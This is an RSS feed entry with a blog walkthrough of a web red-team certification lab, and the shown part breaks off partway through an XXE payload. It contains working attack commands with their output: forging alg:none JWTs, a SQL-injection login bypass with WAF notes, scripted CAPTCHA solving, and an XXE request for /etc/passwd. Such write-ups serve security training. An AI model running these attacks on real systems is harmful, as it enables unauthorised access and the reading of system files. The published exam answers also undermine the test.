<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: inilvinilra</title>
    <description>The latest articles on DEV Community by inilvinilra (@inilvinilra).</description>
    <link>https://dev.to/inilvinilra</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3433629%2F277e7431-4e59-43a0-ae73-ca60e2644530.jpg</url>
      <title>DEV Community: inilvinilra</title>
      <link>https://dev.to/inilvinilra</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/inilvinilra"/>
    <language>en</language>
    <item>
      <title>Web-RTA Exam Walkthrough</title>
      <dc:creator>inilvinilra</dc:creator>
      <pubDate>Wed, 16 Sep 2026 17:20:58 +0000</pubDate>
      <link>https://dev.to/inilvinilra/web-rta-exam-walkthrough-1gi9</link>
      <guid>https://dev.to/inilvinilra/web-rta-exam-walkthrough-1gi9</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2f8sbj176c2nryqt3mdk.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2f8sbj176c2nryqt3mdk.jpeg" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;br&gt;
Every command below was executed live against the exam lab and its verbatim output is quoted underneath as proof — nothing here is theoretical. Instance-specific values (card, credentials, hex, lab IP) are masked; they are useless against any other deployment anyway. CAPTCHA answers and the OTP change every run, so those exact numbers will differ for you — the commands and the method do not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Certification:&lt;/strong&gt; Web Red Team Analyst (Web-RTA) · CyberWarFare Labs (CWL)&lt;br&gt;
&lt;strong&gt;Format:&lt;/strong&gt; Practical, black-box · 16 flags across 2 web apps · 30-day lab · not proctored&lt;br&gt;
&lt;strong&gt;Result:&lt;/strong&gt; 16 / 16 ✅&lt;/p&gt;
&lt;h2&gt;
  
  
  0 · Tools actually used
&lt;/h2&gt;

&lt;p&gt;No Burp, no jwt.io, no CyberChef, no feroxbuster. The whole exam was solved with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;curl&lt;/strong&gt; — 100% of the HTTP interaction: recon, cookies, forms, JSON, SSRF, OAuth flow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;python3&lt;/strong&gt; — forge &lt;code&gt;alg:none&lt;/code&gt; JWTs, decode JWT payloads, solve the math CAPTCHA, hex→base64 decode, double-URL-encode.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;bash&lt;/strong&gt; — the OTP brute-force loop and CAPTCHA-per-request automation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ffuf / nmap&lt;/strong&gt; — initial port + endpoint discovery.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chrome (manual)&lt;/strong&gt; — eyeballing rendered pages to confirm behaviour.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why these are enough: both targets are small single-instance Flask apps. No client-side crypto, no anti-automation beyond a solvable math CAPTCHA, and every vulnerable surface is a plain HTTP request. &lt;code&gt;curl&lt;/code&gt; + &lt;code&gt;python3&lt;/code&gt; reach all of it directly.&lt;/p&gt;
&lt;h3&gt;
  
  
  0.1 · Environment + helper functions
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# --- set your lab IP here ---&lt;/span&gt;
&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;LAB-IP&amp;gt;
&lt;span class="nv"&gt;W1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;:32736"&lt;/span&gt;      &lt;span class="c"&gt;# WebApp 01 (Event Manager)&lt;/span&gt;
&lt;span class="nv"&gt;W2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;:30555"&lt;/span&gt;      &lt;span class="c"&gt;# WebApp 02 (OAuth stack)&lt;/span&gt;

&lt;span class="c"&gt;# solve the math CAPTCHA served at GET /captcha, e.g. "4 - 18" -&amp;gt; -14&lt;/span&gt;
solve&lt;span class="o"&gt;(){&lt;/span&gt; python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import re,sys;q=sys.argv[1].strip();m=re.match(r'(-?&lt;/span&gt;&lt;span class="se"&gt;\d&lt;/span&gt;&lt;span class="s2"&gt;+)&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;*([+&lt;/span&gt;&lt;span class="se"&gt;\-&lt;/span&gt;&lt;span class="s2"&gt;*])&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;*(-?&lt;/span&gt;&lt;span class="se"&gt;\d&lt;/span&gt;&lt;span class="s2"&gt;+)',q);a,o,b=int(m.group(1)),m.group(2),int(m.group(3));print({'+':a+b,'-':a-b,'*':a*b}[o])"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# forge an alg:none JWT from a JSON payload, e.g. forge '{"sub":"user","role":"user"}'&lt;/span&gt;
forge&lt;span class="o"&gt;(){&lt;/span&gt; python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import base64,json,sys;b=lambda o:base64.urlsafe_b64encode(json.dumps(o).encode()).decode().rstrip('=');print(b({'alg':'none','typ':'JWT'})+'.'+b(json.loads(sys.argv[1]))+'.')"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# decode a JWT payload (2nd segment)&lt;/span&gt;
jwtdec&lt;span class="o"&gt;(){&lt;/span&gt; python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import base64,sys;p=sys.argv[1].split('.')[1];p+='='*(-len(p)%4);print(base64.urlsafe_b64decode(p).decode('utf-8','replace'))"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  0.2 · Discovery (how the endpoints were found)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ports&lt;/span&gt;
nmap &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 30000-33000 &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;open
&lt;span class="c"&gt;# → 30555/tcp open   32736/tcp open   (+ the ingress noise)&lt;/span&gt;

&lt;span class="c"&gt;# WebApp 01 content discovery&lt;/span&gt;
ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/FUZZ"&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,301,302,401,403,500 &lt;span class="nt"&gt;-fc&lt;/span&gt; 404
&lt;span class="c"&gt;# → login, dashboard, captcha, logout&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The admin-only endpoints (&lt;code&gt;/admin/events&lt;/code&gt;, &lt;code&gt;/admin/events/update/1&lt;/code&gt;, &lt;code&gt;/fetch_internal_secret&lt;/code&gt;, &lt;code&gt;/api/health&lt;/code&gt;, &lt;code&gt;/api/fetch_internal_secret&lt;/code&gt;) are not in wordlists — they were read straight out of the admin dashboard's HTML (&lt;code&gt;href=&lt;/code&gt; / &lt;code&gt;action=&lt;/code&gt;) once the SQLi gave admin. The WebApp 02 endpoints (&lt;code&gt;/client/login&lt;/code&gt;, &lt;code&gt;/oauth/userlogin&lt;/code&gt;, &lt;code&gt;/oauth/consent&lt;/code&gt;, &lt;code&gt;/oauth/otp&lt;/code&gt;, &lt;code&gt;/resource/resources&lt;/code&gt;, &lt;code&gt;/resource/adminpanel&lt;/code&gt;) were pulled from links + curl path-probing.&lt;/p&gt;
&lt;h2&gt;
  
  
  Phase 1 — Recon → Flags 5 &amp;amp; 6
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; information disclosure — the app issues an unsigned session JWT to anonymous visitors and renders the role.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-si&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/dashboard"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"set-cookie: access_token_cookie"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Proof:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Set-Cookie: access_token_cookie=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0.; Path=/; SameSite=Lax
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decode the token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jwtdec &lt;span class="s2"&gt;"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0."&lt;/span&gt;
&lt;span class="c"&gt;# {"sub":"anonymous","role":"anonymous"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Header decodes to &lt;code&gt;{"alg":"none","typ":"JWT"}&lt;/code&gt; — no signature (the 3rd segment after the last dot is empty). Confirm the role renders on the page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;ANON&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0."&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"access_token_cookie=&lt;/span&gt;&lt;span class="nv"&gt;$ANON&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/dashboard"&lt;/span&gt; | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/&amp;lt;[^&amp;gt;]*&amp;gt;/ /g'&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;' \n'&lt;/span&gt; &lt;span class="s1"&gt;' \n'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-viE&lt;/span&gt; &lt;span class="s1"&gt;'^\s*$'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dashboard
Welcome to Dashboard!
Role: anonymous
Logout
All Events:
No events available.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Flag 5 — role of unauthenticated users →&lt;/strong&gt; &lt;code&gt;anonymous&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flag 6 — endpoint where events live →&lt;/strong&gt; &lt;code&gt;/dashboard&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Phase 2 — JWT alg:none → Flags 7 &amp;amp; 8
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; JWT &lt;code&gt;alg:none&lt;/code&gt; — signature not verified, so the payload is attacker-controlled. Change &lt;code&gt;role&lt;/code&gt; to &lt;code&gt;user&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;forge &lt;span class="s1"&gt;'{"sub":"user","role":"user","username":"user"}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"access_token_cookie=&lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/dashboard"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/&amp;lt;[^&amp;gt;]*&amp;gt;/ /g'&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;' \n'&lt;/span&gt; &lt;span class="s1"&gt;' \n'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-viE&lt;/span&gt; &lt;span class="s1"&gt;'^\s*$'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Proof:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAidXNlciIsICJyb2xlIjogInVzZXIiLCAidXNlcm5hbWUiOiAidXNlciJ9.
Dashboard
Welcome to Dashboard!
Role: user
Logout
All Events:
Masquerade Ball
Super Fun Event
Happening at: 2051-12-31 10:00 | Created by: notatypicalsysadmin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Flag 7 — event visible to authenticated users →&lt;/strong&gt; &lt;code&gt;Masquerade Ball&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flag 8 — admin username →&lt;/strong&gt; &lt;code&gt;notatypicalsysadmin&lt;/code&gt; (the event's &lt;code&gt;Created by:&lt;/code&gt; field)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Phase 3 — Login SQL injection → signed admin token
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; SQL injection in the login &lt;code&gt;username&lt;/code&gt;; the query is &lt;code&gt;… WHERE username='X' AND password='&amp;lt;hash&amp;gt;'&lt;/code&gt;. Comment out the password check with &lt;code&gt;'--&lt;/code&gt;. This is required because forging &lt;code&gt;role:admin&lt;/code&gt; via &lt;code&gt;alg:none&lt;/code&gt; is rejected (&lt;code&gt;Access denied: invalid admin token&lt;/code&gt;) — admin needs a &lt;em&gt;server-signed&lt;/em&gt; token, which a successful login mints.&lt;/p&gt;

&lt;p&gt;Proof of the wall (forged admin is refused):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;ADM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;forge &lt;span class="s1"&gt;'{"sub":"x","role":"admin"}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; - &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"access_token_cookie=&lt;/span&gt;&lt;span class="nv"&gt;$ADM&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/dashboard"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"^HTTP|^location"&lt;/span&gt;
&lt;span class="c"&gt;# → HTTP/1.1 302 FOUND     Location: /   (bounced; flash message: "Access denied: invalid admin token")&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full login flow with CSRF + CAPTCHA:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; admin.jar
&lt;span class="c"&gt;# 1) fetch login page → CSRF token&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; admin.jar &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/login"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; login.html
&lt;span class="nv"&gt;CSRF&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oiE&lt;/span&gt; &lt;span class="s1"&gt;'name="csrf_token"[^&amp;gt;]*value="[^"]+"'&lt;/span&gt; login.html | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s1"&gt;'value="[^"]+"'&lt;/span&gt; | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/value="//;s/"$//'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# 2) fetch CAPTCHA (answer stored server-side in the session) and solve&lt;/span&gt;
&lt;span class="nv"&gt;Q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; admin.jar &lt;span class="nt"&gt;-c&lt;/span&gt; admin.jar &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/captcha"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import sys,json;print(json.load(sys.stdin)['question'])"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;A&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;solve &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Q&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"captcha: &lt;/span&gt;&lt;span class="nv"&gt;$Q&lt;/span&gt;&lt;span class="s2"&gt; = &lt;/span&gt;&lt;span class="nv"&gt;$A&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# 3) SQLi login&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; admin.jar &lt;span class="nt"&gt;-c&lt;/span&gt; admin.jar &lt;span class="nt"&gt;-D&lt;/span&gt; - &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/login"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"csrf_token=&lt;/span&gt;&lt;span class="nv"&gt;$CSRF&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"username=notatypicalsysadmin'--"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"password=anything"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"captcha=&lt;/span&gt;&lt;span class="nv"&gt;$A&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"submit=Login"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"^HTTP|^location"&lt;/span&gt;

&lt;span class="c"&gt;# 4) show the issued cookie (now HS256-signed)&lt;/span&gt;
&lt;span class="nv"&gt;ATC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'/access_token_cookie/{print $NF}'&lt;/span&gt; admin.jar | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import base64,sys
t=sys.argv[1].split('.')
d=lambda s:base64.urlsafe_b64decode(s+'='*(-len(s)%4)).decode('utf-8','replace')
print('header   :', d(t[0]))
print('payload  :', d(t[1]))
print('signature:', len(t[2]), 'chars')"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ATC&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Proof:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;captcha: 4 - 18 = -14
HTTP/1.1 302 FOUND
Location: /dashboard
header   : {"alg":"HS256","typ":"JWT"}
payload  : {"sub":"notatypicalsysadmin'--","role":"admin"}
signature: 43 chars
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;302 → /dashboard&lt;/code&gt; plus an HS256 cookie with &lt;code&gt;role:admin&lt;/code&gt; and a 43-char signature proves the SQLi produced a legitimate admin session, not a forgery.&lt;/p&gt;

&lt;p&gt;WAF / query notes (verified):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# any payload containing the substring "and" is dropped → bounced to /login
#   notatypicalsysadmin' AND 1=1--     → Location: /login    (blocked)
#   notatypicalsysadmin'--             → Location: /dashboard (works)
# password is hashed before the query, so injection only works in the username field.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Admin surface (read from the dashboard HTML):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; admin.jar &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/dashboard"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oiE&lt;/span&gt; &lt;span class="s1"&gt;'Role: admin|Admin Verified|href="/admin/events[^"]*"|href="/fetch_internal_secret"'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Admin Verified
href="/admin/events"
href="/admin/events/update/1"
href="/fetch_internal_secret"
Role: admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Phase 4 — XXE → Flags 9 &amp;amp; 10
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; XXE. The event editor at &lt;code&gt;POST /admin/events/update/1/xml&lt;/code&gt; parses attacker XML and reflects it into the event &lt;code&gt;title&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# fresh CSRF from the update page&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; admin.jar &lt;span class="nt"&gt;-c&lt;/span&gt; admin.jar &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/admin/events/update/1"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; upd.html
&lt;span class="nv"&gt;XCSRF&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oiE&lt;/span&gt; &lt;span class="s1"&gt;'name="csrf_token"[^&amp;gt;]*value="[^"]+"'&lt;/span&gt; upd.html | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s1"&gt;'value="[^"]+"'&lt;/span&gt; | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/value="//;s/"$//'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# XXE payload: external entity → /etc/passwd, placed in &amp;lt;title&amp;gt;&lt;/span&gt;
&lt;span class="nv"&gt;XXE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;?xml version="1.0"?&amp;gt;
&amp;lt;!DOCTYPE e [&amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&amp;gt;]&amp;gt;
